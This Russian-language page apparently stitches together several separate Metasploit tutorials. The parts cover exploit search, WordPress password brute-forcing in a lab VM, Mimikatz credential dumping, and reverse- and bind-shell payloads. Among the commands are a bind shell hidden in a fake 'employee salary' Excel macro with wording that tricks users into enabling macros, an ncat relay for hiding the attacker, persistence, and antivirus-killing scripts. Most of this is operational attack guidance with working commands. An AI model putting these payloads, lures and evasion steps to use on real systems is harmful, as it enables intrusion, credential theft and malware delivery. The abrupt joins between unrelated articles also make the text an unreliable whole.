Metasploit kali инструкция по применению. Практический пример работы с Metasploit Framework

Metasploit Exploitation Framework - это инструмент для тестирования на проникновение. Он содержит большую базу эксплойтов, позволяет использовать их прямо из Metasploit. Существует две версии Metasploit, в этом уроке я рассматриваю бесплатную версию.

searchsploit - это инструмент для поиска эксплойтов. Содержит базу, по моим наблюдениям, более обширную, чем Metasploit. Но не содержит функции использования эксплойтов.

На всякий случай, разберёмся с терминологией. Эксплойт – это готовая программа, которая, используя конкретную уязвимость, автоматизирует процесс проникновения или повышения прав или другое несанкционированное действие, которое является следствием уязвимости.

Обе программы не сложны, но нужно знать, что и как там делать. Обе эти программы включены в Kali Linux «из коробки». Поэтому, возможно, вас также заинтересуют статьи:Я буду рассматривать работу с этими программами в Kali Linux , но на самом деле, эти утилиты можно установить на любой Linux.

searchsploit

Это программа только для поиска известных эксплойтов. Чтобы вывести справку по ней, наберите в командной строке:

Searchsploit -h

Всё просто как 5 копеек:
Ключ -c для выполнения чувствительного к регистру поиска.

Ключ -v для подробного вывода, линии с описанием могут переполнять их колонки.

На мой взгляд, обе опции не несут ничего интересного. Для поиска просто набираете searchsploit и ключевые слова (можно несколько), разделённые пробелом:

Searchsploit phpmyadmin


Searchsploit wordpress

Думаю, идея понятна. Можете искать по конкретным приложениям (и их версиям), операционным системам, плагинам и т. д.

Давайте посмотрим внимательно на вывод: есть файлы следующих типов: .c, .pl, .txt, .sh, .php, .rb, .py, .zip, .java, .asm, .htm и др.

Файлы с расширением .txt можно только читать - открывайте его любым блокнотом и читай об уязвимости. Содержимое этих файлов, обычно, следующее: описание уязвимости, пример использования, источник, информация о подверженных уязвимости версиях и т. д.

Файлы с расширением .rb написаны на языке Ruby, запускать их нужно так:

Ruby + пробел + расположение файла.

Пример:

Ruby /usr/share/exploitdb/platforms/php/webapps/28126.rb

Некоторые файлы.rb выдернуты из Metasploit. Если при обычном запуске программа жалуется на отсутствие чего-то, а в коде программы встречается строка

Require "msf/core"

то самый простой способ запуска - найти этот же плагин в Metasploit и запустить его оттуда

Файлы .c нужно компилировать.

Файлы .php запускать из командной строки. При чём если Ruby может выводить диалоговые окна для ввода данных, то в PHP нужно сразу задавать необходимые аргументы в командной строке через пробелы после имени файла (ну или прописывать в коде скрипта, если это предусмотрено).

Например

Php /usr/share/exploitdb/platforms/php/webapps/35413.php сайт Alexey 50

Файлы .pl написаны на языке Perl, перед именем файла, для запуска, нужно ставить perl. Аргументы передаются в командной строке (или вписываются в исходный код) как и с PHP.

Думаю, с поиском всё предельно просто. С конкретным применением - зависит от конкретного эксплойта. Переходим к Metasploit.

Metasploit

Программа Metasploit расположена в меню в двух местах. Самый быстрый способ - это найти её среди 10 самых популярных приложений. Там она называется Metasploit Framework. Запуск каждый раз занимает какое-то время, поэтому просто ждём:

Если программа пишет вам что-то про базу данных и про медленный поиск, то воспользуйтесь . А также можете вручную пересобрать кэш:

Msf > db_rebuild_cache

Для поиска наберите search + пробел + ключевые слова. Например:

Msf > search wordpress

Расширьте окно терминала, как это сделал я, иначе ничего непонятно.

В выводе должно быть всё понятно: первый столбец - расположение эксплойта, второй - дата, третий - ранг (насколько хороший среднестатистический результат), четвёртый - краткое описание.

Думаю, хакеры не любят WordPress за его автообновления, т. к. все известные уязвимости протухают в первый же день.

Я выбрал, например, этот:

Exploit/unix/webapp/wp_downloadmanager_upload 2014-12-03 excellent WordPress Download Manager (download-manager) Unauthenticated File Upload

Нужно скопировать его расположение - exploit/unix/webapp/wp_downloadmanager_upload

И теперь набираем команду use и после пробела расположение эксплойта.

Msf > use exploit/unix/webapp/wp_downloadmanager_upload

Обратите внимание, что строка приветствия сменилась на:

Теперь набираем:

(работает для всех эксплойтов - отображает варианты настойки).

Как минимум, нам нужно задать удалённый хост. Все настройки делаются через команду set

Например:

Set RHOST сайт

В данном эксплойте можно больше ничего не менять. Но обратите внимание на TARGETURI . В отдельных эксплоитах, например, для phpMyAdmin, этот параметр изначально задан как phpmyadmin и если целевой скрипт находится в другом каталоге, то эксплойт просто не найдёт адрес.

Для начала выполнения эксплойта наберите

Думаю, общие принципы работы понятны.

Порекомендую ещё одну команду, чтобы было понятно, в какую сторону нужно копать, для чего искать эксплойты, какие порты открыты и для каких служб и т. д. Это команда nmap Обзор разделов инструментов Kali Linux 1.0.9a. Часть 2. Инструменты для сбора информации “.

Заключительные слова

Скажу честно, базы эксплойтов меня разочаровали: я слежу за обновлениями самых популярных веб-приложений (phpMyAdmin, WordPress, Drupal и т. д.) и за последние месяцы в списках изменений мелькало достаточно много закрытых уязвимостей. Под большинство из них я не нашёл эксплойтов. Возможно, это касается только эксплойтов для веб-приложений. Вполне возможно, что для операционных систем и программ всё намного интереснее. Отсутствие в паблике эксплойтов на свежие версии популярных веб-приложений я связываю с тем, что: а) не так уж и просто потенциальную уязвимость раскрутить, хотя бы, до работающего концепта; б) самые интересные эксплойты собраны в закрытых базах, возможно, доступных за плату или только для определённого круга лиц.

Metasploit - это мощный открытый фреймворк с продуманной архитектурой, сотнями контрибьюторов, который включает в себя тысячи модулей для автоматизации эксплуатации огромного количества уязвимостей. Несмотря на то что мы часто упоминаем Metasploit на , многие только знакомятся с ним. Мы решили помочь начинающим пентестерам и запускаем новый цикл статей, который познакомит тебя с основными возможностями этого замечательного инструмента.

ПРЕДЫСТОРИЯ

История Metasploit берет начало в 2003 году. HD Moore, работавший пентестером в небольшой консалтинговой компании, заметил, что хранение и использование средств анализа безопасности организованы неудобно. На тот момент это был просто набор разрозненных эксплойтов и скриптов, общие сведения о которых хранились в базе данных. Информация о необходимом окружении для запуска скриптов, как правило, отсутствовала. Также они несли в себе кучу устаревшего кода, требовали модификации жестко прописанных путей для каждого конкретного случая, что весьма затрудняло рабочий процесс и усложняло разработку новых инструментов.

В Metasploit автор, пытаясь решить эту проблему, создал консольную утилиту на Perl с псевдографическим интерфейсом и включил в нее порядка одиннадцати эксплойтов. Сообщество встретило первую версию Metasploit весьма холодно, изрядно раскритиковав как архитектуру, так и саму идею. Тем не менее HD Moore не сдался и даже нашел сподвижника в лице spoonm, с которым они довели до ума модульную архитектуру фреймворка и выпустили вторую версию в 2004 году. Со временем фреймворк стал набирать популярность и обретать новых контрибьюторов.

Следующим значимым шагом был перевод Metasploit c Perl на Ruby, для того чтобы избежать ограничений Perl, обеспечить кросс-платформенность и добиться большей гибкости при разработке. В 2009 году фреймворк приобрела компания Rapid7, под эгидой которой продолжилось развитие open source версии, а также стали появляться коммерческие версии продукта. Сам фреймворк давно перерос статус простого набора для пентестера, и сегодня можно его можно встретить (хотя и нечасто) даже в арсенале «мирных» системных администраторов и программистов.

ВЕРСИИ

На момент написания статьи Metasploit распространяется в четырех версиях:
Framework - базовая версия с консольным интерфейсом;
Community - бесплатная версия, включающая дополнительно веб-интерфейс и часть функционала из коммерческих версий;
Express - для коммерческих пользователей, включает функционал, позволяющий упростить проведение базовых аудитов и формирование отчетности по ним;
Pro - самая продвинутая версия, предоставляет расширенные возможности для проведения атак, позволяет формировать цепочки задач для аудита, составлять подробную отчетность и многое другое.
Помимо веб-интерфейса, доступного в версиях Community, Express и Pro, существуют такие проекты, как Armitage и Cobalt strike , предоставляющие GUI-интерфейс для фреймворка.

База данных

Еще один момент, который стоит учесть, - это использование фреймворком базы данных для хранения информации о хостах, сервисах, уязвимостях и прочем. Подключение к базе - *необязательное условие* для функционирования фреймворка, но тем не менее многие предпочтут воспользоваться этим функционалом для удобства и повышения производительности.

Metasploit использует PostgreSQL, поэтому тебе понадобится установить ее на свою систему. Затем убедиться, что запущены нужные сервисы БД и фреймворка. Запустить их можно соответствующими командами (команды приводятся для Kali Linux, могут отличаться в твоем дистрибутиве):

service postgresql start service metasploit start

service postgresql start

service metasploit start

Далее проверим, что фреймворк успешно установил подключение. Откроем консоль Metasploit командой msfconsole, а затем выполним db_status, в ответ на которую система должна вернуть, что соединение с базой установлено.

СТРУКТУРА ФРЕЙМВОРКА

«Сердце» Metasploit - библиотека Rex. Она требуется для операций общего назначения: работы с сокетами, протоколами, форматирования текста, работы с кодировками и подобных. На ней базируется библиотека MSF Core, которая предоставляет базовый функционал и «низкоуровневый» API. Его использует библиотека MSF Base, которая, в свою очередь, предоставляет API для плагинов, интерфейса пользователя (как консольного, так и графического), а такжемодулей.
На модулях стоит остановиться подробнее. Они делятся на несколько типов, в зависимости от предоставляемой функциональности:
Exploit - код, эксплуатирующий определенную уязвимость на целевой системе (например, переполнение буфера);
Payload - код, который запускается на целевой системе после того, как отработал эксплойт (устанавливает соединение, выполняет шелл-скрипт и прочее);
Post - код, который запускается на системе после успешного проникновения (например, собирает пароли, скачивает файлы);
Encoder - инструменты для обфускации модулей с целью маскировки от антивирусов;
NOP - генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется, чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер;
Auxiliary - модули для сканирования сети, анализа трафика и так далее.


КОМАНДЫ MSFCONSOLE

Несмотря на наличие графических интерфейсов, самым распространенным способом работы с Metasploit по-прежнему остается консольный интерфейс msfconsole. Рассмотрим основные команды:
use - выбрать определенный модуль для работы с ним;
back - операция, обратная use: перестать работать с выбранным модулем и вернуться назад;
show - вывести список модулей определенного типа;
set- установить значение определенному объекту;
run - запустить вспомогательный модуль после того, как были установлены необходимые опции;
info - вывести информацию о модуле;
search - найти определенный модуль;
check - проверить, подвержена ли целевая система уязвимости;
sessions - вывести список доступных сессий.

ПЕНТЕСТ WORDPRESS

Предлагаю, вооружившись полученными знаниями, в качестве «Hello world» провести простейший пентест сайта на WordPress.

Тестовое окружение

Для начала необходимо поднять тестовое окружение. Для этого я буду пользоваться связкой VirtualBox + Vagrant и проектом VCCW, который позволит развернуть готовую виртуалку с WordPress на борту буквально парой команд в консоли. Подробные инструкции ты сможешь найти на сайте проекта, здесь я покажу основные шаги.
Добавляем базовый образ:

vagrant box add miya0001/vccw

После этого у тебя должна подняться машина с развернутым WordPress, доступная по адресу 192.168.33.10. Стоит отметить, что это уже готовый сетап, где настроена база и заведена админская учетка. Логин и пароль от нее указаны на сайте, но мы их узнаем другим путем.
Пентест
Откроем консоль Metasploit:

Среди появившегося многообразия нас интересует модуль auxiliary/scanner/http/wordpress_login_enum , который отвечает за брутфорс аутентификации WordPress.


Выберем его для работы:

use auxiliary/scanner/http/wordpress_login_enum

Для брутфорса будет использоваться перебор по словарю. В данном случае известно, что пароль несложный, поэтому подойдет практически любой список ненадежных паролей, которых достаточно в сети. Укажем путь к нему:

set PASS_FILE /root/10k-common-passwords.txt

set PASS_FILE / root / 10k - common - passwords . txt

Процесс перебора пароля по словарю в Metasploit

Metasploit - настолько мощный инструмент, что мы в статьях можем только слегка поцарапать поверхность его возможностей. Постоянная его разработка и улучшения ведутся много лет, и сейчас Metasploit можно использовать практически для любых задач, начиная от разведывательных действий, пост-эксплуатации и заканчивая скрытием ваших следов. Учитывая его универсальность, каждый начинающий хакер должен иметь хотя бы поверхностное понимание того, как работать с Metasploit.

Всякий раз, когда выходит какой-нибудь мощный модуль пост-эксплуатации, каждый пользователь Metasploit должен знать об этом, потратить время и научиться его использовать. Mimikatz - один из таких модулей. Он был создан Бенджамином Делпи (Benjamin Delpy) с ником gentilkiwi, который разработал его, чтобы выучить язык C, а заодно исследовать Windows на безопасность. В принципе, этот модуль способен извлекать различные наборы учетных данных Windows прямо из оперативной памяти.

Первоначально Mimikatz разрабатывался как автономный модуль, который мы можем загружать или запускать локально на целевом компьютере. Но недавно Rapid7 портировали его для Metasploit, сделав из него сценарий для Meterpreter. Преимущество этого подхода заключается в том, что он работает полностью в памяти, не оставляя на жестком диске никаких следов своего присутствия, которые могут быть в последствии обнаружены.

В этом уроке мы будем использовать модуль Metasploit, который немного ограничен в своих возможностях, но мы обещаем, что сделаем в ближайшее время подробную статью о более мощном автономном инструменте.

Еще один ключевой момент перед тем, как мы начнем: есть 32- и 64-битные версии Mimikatz. Часто Mimikatz загружает 32-битную версию, если мы использовали 32-битный процесс для компрометации системы. Если вдруг это произойдет, то Mimikatz будет практически полностью нефункциональным. Чтобы избежать этой потенциальной проблемы необходимо использовать команду «migrate» для перевода Meterpeter в 64-битный процесс перед загрузкой Mimkatz. Таким образом, он загрузит 64-битную версию, и вы получите, наконец, доступ ко всем его потрясающим возможностям.

Шаг 1. Эксплуатация целевой машины и использование полезных нагрузок Meterpreter

Mimikatz - это пост-эксплуатационный модуль, а это означает, что его можно использовать только после того, как цель будет эксплуатирована. В результате мы начнем рассмотрение работы этого модуля, исходя из предположения о том, что вы успешно произвели эксплуатацию уязвимости на целевой машине и установили полезную нагрузку (payload) Meterpreter в целевой системе. Кроме того, для работы Mimikatz вам понадобятся полномочия системного администратора. Если вы провели эксплуатацию уязвимостей целевой системы как обычный пользователь, то вы можете использовать команду getsystem для получения расширенных прав.

Meterpreter > getsystem

Теперь, когда у нас есть привилегии администратора, нам нужно загрузить модуль Mimikatz.

Meterpreter> load mimikatz

Теперь посмотрим справку.

Meterpreter> help mimikatz

Как вы можете видеть, у Mimikatz есть несколько собственных команд и специальная команда mimikatz_command, которая позволяет запускать пользовательские команды.

Meterpreter > mimikatz_command -f version

Metasploit портировал только версию 1.0, хотя Mimikatz находится в версии 2.0 (следите за нашими следующими статьями об использовании автономной версии Mimikatz 2.0).

Шаг 2. Собственные команды

Начнем с того, что посмотрим, что можно сделать с системой при помощи собственных команд Mimikatz. Если мы хотим получить учетные данные Kerberos, нужно просто ввести:

Meterpreter> kerberos

Мы можем получить учетные данные Windows MSV, набрав:

Meterpreter> msv

Шаг 3. Mimikatz_Command

Mimikatz также позволяет создавать пользовательские команды. Команды принимают следующий синтаксис. Обратите внимание на двойное двоеточие (: 🙂 между типом команды и действием команды.

Mimikatz_command -f::

Если мы хотим получить хеши паролей из файла SAM, мы можем использовать такую команду:

Meterpreter > mimikatzcommand -f samdump::hashes

Конечно, получив эти хеши, мы можем взломать их любым из нескольких инструментов для взлома паролей, таким как «Cain и Abel», Hashcat, «John the Ripper» и другие.

Если мы хотим получить список сервисов, запущенных на целевой системе, то можем использовать команду service в сочетании командой list.

Meterpreter > mimikatz_command -f service::list

Шаг 4. Crypto

У Mimikatz есть специальный тип команды, которая обрабатывает зашифрованную информацию и, как вы могли догадаться, называется она crypto. Используя эту команду, мы можем получить список поставщиков шифрования на целевой системе.

Meterpreter > mimikatz_command -f crypto::listProviders

Появившись на свет 7 лет назад, MSF впоследствии из простого фрэймворка для написания рабочих сплоитов превратился сначала в некий «швейцарский нож», а теперь – в целую мастерскую по проведению пентестов, включая в себя все необходимое – от сбора инфы до продвинутых способов постэкслуатации. Не зря ведь MSF входит в пятерку самых юзаемых тулз. И что радует – MSF продолжает расти и развиваться! А в каком направлении – узнаешь из этой статьи.

Изначально в статье предполагалось описать возможности автоматизации действий в MSF, но, проанализировав знания народа о фрэймворке, было решено поведать о более-менее продвинутых встроенных возможностях его самого, а об их автоматизации будет сказано по ходу. Это чтобы люди не изобретали велосипед:).

Кстати, о знаниях. Неудивительно, что их не так много, так как всеобъемлющих статей/книг о Metasploit’е даже на английском нету. Так что основные нычки с инфой – иностранные блоги, да личные исследования. Плюс радует, что Руби – вещь простая, и по чужим примерам можно что-то свое дельное сделать.
Но к делу! Все описанное касается последней версии – MSF 3.4.2.

ГУИ возвращается!

Для тех, кто не любит консоль или лень разбираться с командами MSF, существует гуишная оболочка на основе GTK. Точнее существовала, так как с версии 3.3 на нее забили. Если не ошибаюсь, то же самое случилось и с msfweb. То есть пользоваться еще можно, но и так со стабильностью были проблемы, а тут... эх!

Но во время подготовки статьи случилось хорошее – новая гуишная оболочка. Она изменилась и снаружи, и внутри. Если точнее, то она написана на Java, потому кроссплатформенна, и к тому же взаимодействует с MSF через XMLRPC интерфейс, то есть можно использовать ее удаленно.

Запуск гуи делается в две стадии: стартуем msfrpcd, коннектимся к нему через msfgui. Под никсами запустив msfgui можно просто кликнуть «start new msfprcd»

Версия для Win:

  1. Запускаем Cygwin консоль
  2. cd /msf3
  3. msfrpcd -S -U username -P password где –S – отключение SSL, и придуманные логин/пасс
  4. запускаем msfgui.jar, который храниться в %MSF%\msf3\data\gui либо двойным кликом, либо в консоли (не в cygwin’e): java –jar msfgui.jar

В msfgui вводим логин/пасс, порт, IP и коннектимся.

Кое-чего, даже по сравнению со старой гуи, не хватает. Например, доступа к консоли или просмотр логов. Но работать можно, особенно если требуется по быстрому пробежаться по сплойтам, модулям, полазить по чужому компу и т.д.

Сбор информации

Тебе должно быть известно, что MSF работает с БД для складирования информации, обмена ей между своими модулями. И это направление активно развивается.

Для начала, единственная полностью поддерживаемая БД – это PostgreSQL. От SQLite отказались из-за вопросов производительности/масштабируемости, с MySQL тоже что-то не гладко пошло. Вообще, установка Postgres’а не должна вызвать проблем. Драйвер для взаимодействия вшит в MSF.

Под Win: ставим, задаем пасс для юзера – postgres и порт.

Через pgAdmin: коннектимся к локальному серваку, создаем еще одного пользователя «Роли входа» (msf_user), создаем БД в «Базы» (msf_db). Там же можно настроить сам SQL-сервак, сделав его «побезопасней», да и полазить по таблицам MSF.

msf> db_driver postgresql
msf> db_connect msf_user:[email protected]:5432/msf_db

Теперь команда db_create не работает напрямую, можно только коннектиться к существующей БД, и, если есть соответствующие права (как у юзера postgres), база автоматически создастся. Иначе – создавать базу вручную в Postgres’е.

Но это не так страшно, ведь можно пользоваться workspace’ами. БД одна, таблицы те же, но модули обмениваются/добавляют инфу только в текущем спэйсе. Попробуешь – поймешь, db_workspace тебе в помощь.

Немного разберемся с командами:

  • db_service – выводится инфа о портах/сервисах, просканированных либо модулями, либо встроенным nmap’ом, либо импортированная из сторонних программ. На основе этого работает db_autopwn с параметром –p (по портам);
  • db_notes – «заметки», типа версии ОС, полученные из Nmap, или какие-то «подробности» полученые WMap’ом. Жаль, но db_autopwn, похоже, не смотрит db_notes для выбора сплоита.
  • db_vulns – уязвимости, найденные либо модулями MSF(WMap), либо импортом из Nessus’а(OpenVAS), Nexpose. На основе этого работает db_autopwn с параметром –x (по уязвимостям).

Для примера просканируем хост nmap’ом и результаты попадут в нашу БД:

msf> db_nmap –PN –sV 192.168.0.101

Итог от модуля порт-сканера из MSF будет аналогичным, и данные тоже попадут в БД. Вот только для определения сервисов требуется пользоваться уже другими модулями (все aux-модули с «version» на конце в разделе scanner, например, scanner/imap/imap_verison).

msf> use scanner/portscan/tcp
msf> set RHOSTS 192.168.0.101
msf> set PORTS 1-1000
msf> run -j

Чтобы автоматизировать последние действия, да и вообще любые действия в MSF, можно воспользоваться так называемыми resource-файлами. По сути это обычные текстовые файлики с последовательным перечислением команд для MSF. Например, создадим ресурсик для быстрого запуска «сервера» для реверсового meterpreter’а. Для этого пихнем в файл(metrevhandl.rc) следующие команды:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.0.102
exploit –j
back

Запускаем наш скрипт с помощью «resource»:

msf> resource metrevhandl.rc

Как видишь – очень удобно. Но это еще не все. Самое сладкое в том, что в этих скриптах можно писать код на Руби, что и позволяет нам, например, установить взаимоотношения между отдельными модулями MSF.

Кстати, home/.msf3/msfconsole.rc – скрипт, который автоматически запускается при старте msfconsole. В него очень удобно запихнуть коннект в БД, например.

Входим...

WMAP. WMAP – это попытка заточить MSF под веб-приложения и как-то автоматизировать все это дело. Проект WMAP пока находится на ранней стадии и работает не особо хорошо, особенно по сравнению со своими конкурентами. Вряд ли он будет развиваться, во всяком случае, в своем нынешнем виде, а причина в том, что Rapid7 начала очень плотно финансировать опенсорсный w3af фрэймворк, который и заточен под дела веба, так что можно ожидать слияние внутренностей или функционала MSF и w3af. Но все же небольшой пример (требуется подключение к БД):

1. Подгружаем плагин wmap:

msf> load db_wmap

2. Добавляем жертву:

msf> wmap_targets -a http://www.example.com/

3. Просмотр и запуск модулей против нашей жертвы:

msf> wmap_run -t
msf> wmap_run –e

Итоги складируются в БД и доступны через db_vulns, db_notes.

Для некоторых модулей требуется настройка параметров. Это можно сделать с помощью команды setg. Также в WMAP есть паук (wmap_crawler) и возможность взаимодействия с прокси (wmap_proxy).

Вдобавок любителям помучить базы данных всевозможными инжектами советую посмотреть модуль MSF – scanner/http/sqlmap. Это порт одноименной тулзы – SQLmap. Вещь, по ходу, мощная:). Инфу о тулзе можно почерпнуть на сайте создателей – .

db_autopwn

Автопавнилка в MSF обзавелась парой полезных параметров:

  • -R – указывает минимальный ранк эксплойта, который будет применяться;
  • -m – задают регекспу для выбора сплотов.

Например:

msf> db_autopwn -t -p -m windows -R excellent

выведет список только лучших сплоитов под стандартные Win-сервисы.

Кстати, с версии 3.3.1 с Nexpose можно работать прямо из MFS и сразу автопавнить на основе выявленных уязвимостей.

1. Подгружаем плагин и подключаемся к Nexpose:

msf> load nexpose
msf> nexpose_connect msf_user:[email protected]

2. Запускаем только лучшие сплоиты по найденным уязвимостям:

msf> nexpose_scan -R excellent -x 192.168.0.101

Browser_autopwn

Если предыдущая павнилка была заточена по стандартные сплоиты, то эта – под клиентские, нацеленные на браузеры жертв, что понятно из названия.
По сути, этот модуль поднимает HTTP-сервер и на нем же поднимает все сплоиты под браузеры. Когда жертва заходит на наш сервак, модуль определяет версию браузера и ОС, после чего запускает соответствующий сплоит. Пока что основной фичей модуля является точное определение версии браузера/ОС. Используются как серверные, так и клиентские возможности(JavaScript) по детекту. То есть обмануть модуль, подставив другой User-Agent, точно не удастся.

Из имеющихся сплоитов хорошо валятся олдскульные версии браузеров, но самое приятное в том, что просто добавлять свои сплоиты, а это уже сила. Бесплатный сплоитпак получается.

В будущих версиях обещают добавить возможности по обфускации сплоитов (чтобы антивирями не палилось) и возможности по выбору нагрузок.

Например, создадим сервак с бэкконнектом для шеллов 192.168.0.102:

msf> use server/browser_autopwn
msf> set LHOST 192.168.0.102
msf> set URI index.php
msf> exploit -j

VBA

В разделе EasyHack я уже писал о создании «троянов» с помощью MSF, но засылать exe-файлы – это очень палевно. Юзеры нынче стали пугливые и не открывают все, что попало, а там еще и предупреждения от винды. Куда менее палевно применять какие-нибудь офисовские файлы:

msfpayload windows/shell_bind_tcp LPORT=5555 V > macros.vba

Далее создаем, например, экселевский документик со страшными именем «Зарплата сотрудников». Потом открываем полученный VBA, текст макроса (MACRO CODE) пихаем в макрос документа (Сервис –> Макрос –> Редактор VB), а в конец документа – нашу «нагрузку» (PAYLOAD DATA). В начало документа можно добавить какие-нибудь расчеты для красоты. Так как макросы по дефолту отключены (с версии OfficeXP, насколько мне известно), то строчкой вида «Внимание! Работа с базой возможна только при включенных макросах. Чтобы их включить, зайдите в «Сервис –> Параметры –> Безопасность –> Защита от макросов –> Низкая» и перезапустите документ», можно заставить пользователя подключить макросы. В итоге – шелл на 5555 порту.

Смысловая нагрузка

На самом деле выбор нагрузки(payload) к сплоитам – дело важное. Но их в MSF много, так что я немного пробегусь по ним (в основном по Win*), чтобы появилось общее понимание. Во-первых, есть общее разделение по ОСям, а так же ПО и подгружаемым интерпретаторам (ruby, perl).

Общее разделение по описанию:

  • С пометкой «Inline» – это «целиковые» шеллкоды. Они большие, потому не всегда влезают в эксплойты;
  • «Stager» – нагрузки, разделенные на части. В сплоит попадает небольшой шеллкод, в основном для установки соединения, остальное подгружается при подключении;
  • «Ord» – «заточенные» нагрузки. Маленькие по размеру, но привязанные к статическим адресам в памяти системной DLL’ки;
  • «Bind» – открытие порта и ожидание соединения;
  • «Reverse» – бэкконнект-шелл;
  • «Findport» – происходит поиск сокета, через который работал эксплойт, далее шелл открывается через него. Поиск осуществляется по номеру порта;
  • «Findtag» – аналогично предыдущему, только определение сокета ведется за счет прослушки всех доступных в ожидании прихода 4-байтового тэга от хакера.;
  • «Exec, Download_exec, Up_exec» – шеллкод на запуск команды, скачку/закачку и запуск;
  • «VNC» – запускаем VNC-сервер у жертвы;
  • «dllinjection» – подгрузка DLL’ок в память процесса. Инжект DLL’ок есть двух видов;
  • «metsvc» – целиком загружает meterpreter жертве и прописывает его как сервис;
  • «PassiveX» – наш шелл выступает элементом ActiveX.
  • «NoNX» – шеллкоды с обходом механизма защиты памяти DEP;
  • «DNS» – те, что могут работать по именам хостов, а не по IP;
  • «HTTPS» – шелл, который общается по шифрованному HTTPS-протоколу (жаль, без поддержки прокси).

Немного остановлюсь на PassiveX, так как они очень хороши.
Суть заключается в том, что наш шелл прописывается как элемент ActiveX, а взаимодействие происходит через скрытую версию IE по HTTP-протоколу. Это на самом деле круто, особенно, если ты ломаешь какую-то корпоративную сетку, где все сидят за NAT’ом и с общим файрволом, пропускающим только HTTP-трафик с корпоративного прокси-сервера. В таком случае ни одна другая нагрузка не поможет, особенно если ты не знаешь настройки для прокси. А тут – все настройки для прокси и аутентификации на нем (если она есть) уже прописаны в IE.

Создадим нагрузочку и прослушку под нее (192.168.0.102:443):

msfpayload windows/meterpreter/reverse_http PXHOST=192.168.0.102 PXPORT=443 PXURI=/ X > reflmeter102.exe

msf> use exploit/multi/handler
msf> exploit -p windows/meterpreter/reverse_http -o PXHOST=192.168.0.102,PXPORT=443,PXURI=/

Причем, если раньше PassiveX работал только под IE6, то теперь все окей и с IE7/8.

Далее об обычных шеллах. Обычный шелл – это, конечно, хорошо, но если ты юзал meterpreter, то тебе захочется к нему вернуться.
И теперь у нас есть такая возможность. Предположим у нашей жертвы (192.168.0.101) уже повешен обычный бинд-шелл на 5678 порту.

Коннектимся к нему из MSF:

msf> use exploit/multi/handler
msf> exploit -p windows/shell_bind_tcp -o RHOST=192.168.0.101,RPORT=5678

Хотелось бы сказать, что следующей командой мы превращаем обычный шелл в meterpreter, да не судьба. MSF просто подгружает бэкконект meterpreter и, запустив его, создает еще одну сессию (создается еще одно соединение). Хотя это тоже не плохо. Но чтобы все работало, нам надо установить глобальные значения своего хоста (куда коннектиться реверсу), а потом уже «обновить» сессию (предположим, она у нас «1»):

msf> setg LHOST 192.168.0.102
msf> setg LPORT 6666
msf> sessions –u 1

В итоге избавляемся от кучи напрягов и ограничений обычного шелла.

Кстати, о meterpreter’e. Его уже давно пытаются перенести на другие платформы(linux, Macos), но пока как-то там не все гладко. Но, все-таки, есть хорошие новости: в каком-то виде meterpreter был перенесен на PHP! В «каком-то», потому что не все функции позволяет реализовать PHP, но основное уже доступно. Так что можно залить на заваленный сервак и побаловаться таким крутым шеллом.

Теперь поговорим о собственной «безопасности». Пока что большинство модулей MSF не поддерживают прокси, особенно это относится к боевым нагрузкам. Ведь мы же не хотим, чтобы нас вычислили:). Потому вспомним олдскульную фичу – портфорвардинг.

Предположим наш сервак с MSF, ожидающий бэкконнект шеллов, находится по адресу «192.168.0.103:5555». Тогда на подставном сервачке на 80 порту мы вешаем netcat:

ncat --sh-exec “ncat 192.168.0.103 5555” –l 80 --keep-open

А в payload’ах мы прописываем IP (или DNS) и порт подставного сервака.
Кстати, netcat поддерживает SSL, так что можно и зашифровать трафик, если сам шелл этого не позволяет.

Постэксплуатация

Да, теперь переходим к самому вкусному – постэкслуатации и meterpreter’у. Надеюсь, ты знаком с meterpreter’ом, потому как рассказывать, насколько он хорош (и следов после себя почти не оставляет, и работает в chroot’е) и функционален (встроенные хак-тулзы, модификация реестра и файловой системы, миграция по процессами и токенам, маршрутизация) у меня нет желания:).

Давай предположим, что мы получили доступ к одному из компов (192.168.146.129) в корпоративой сети и мы (192.168.0.102) хотим развить наш успех – просканить подсетку и поиметь еще что-нибудь.

Добавляем маршрут (подсетка, ее маска, сессия для маршрутизации) в msfconsol’е:

msf> route add 192.168.146.0 255.255.255.0 1

К сожалению, nmap не захотел пользоваться этим маршрутом – видимо, не такая глубокая интеграция пока что. Но обычными модулями, сплоитами и сканерами спокойно (то есть без каких-либо спецнастроек) можно пользоваться для развития атаки (см. рисунок) – всю маршуртизацию берет на себя MSF.

Так как у определенных хостов может быть ограничен доступ во внешнюю сеть (где находимся мы), то для связи с ними можно использовать портфорвардинг на уже уделанной жертве, благо, meterpreter это умеет:

meterpreter> portfwd add -l 8008 -p 2222 -r 192.168.0.101

Теперь прописываем в payload’ах сплоитов LHOST=192.168.146.129, LPORT=8008, и все будет тип-топ.

Meterpreter имеет чудесную возможность – автоматизация действий посредством руби-скриптов. Это реально круто. Посмотреть существующие скрипты можно в msf3\scripts\meterpreter, во время юзания – пишем run и дважды Tab (для тех, кто не в теме:). Запускать скрипты можно либо ручками через команду run, либо указав переменную AutoRunScript или InitialAutoRunScript при конфиге нагрузке/сервера. Вторая переменная – выполняется до запуска шелла, первая – после.

Скриптов входящих в поставку уже много, из самого стандартного:

  • winenum – быстренько собирается вся инфа о системе от сетевых настроек до установленного ПО и хешей;
  • persistence, metsvc – прописывает meterpreter на автозапуск в реестре или как сервис;
  • getcountermeasure – отключает файер, может убивать процессы разнообразных антивирусов и файрволов.

Вместо заключения

В статье я постарался описать что-то новое (во всяком случае, для русскоязычных источников) и при этом обо всех стадиях взлома, так что, надеюсь, она будет тебе полезна. К тому же, родилось пара гениальных идей, которые осталось лишь реализовать, да нашлось пару гадких багов в MFS, которые, я надеюсь, будут устранены к выходу номера. В общем, творить – это чудесно!

Несколько подсказок:

  • В msfconsol’е отлично работает автодополнение посредством нажатия Tab, к тому же все команды поддерживают хелп параметром «-h».
  • Если хочешь приостановить выполнение команды – Ctrl+C, отправить в бэкграунд – Ctrl+Z.
  • Копирование текста в cygwin’е делается с помощью левой/правой кнопки мыши, вставка – Shift+Insert.
  • Под виндой доступ к интерфейсам msfcli, msfpayload и т.д. осуществляется через консоль cygwin. Но желательно хорошенько потестить, так как не все функции могут работать адекватно.

ПАВЕЛ ТРОИЦКИЙ

Исследование уязвимостей с помощью Metasploit Framework

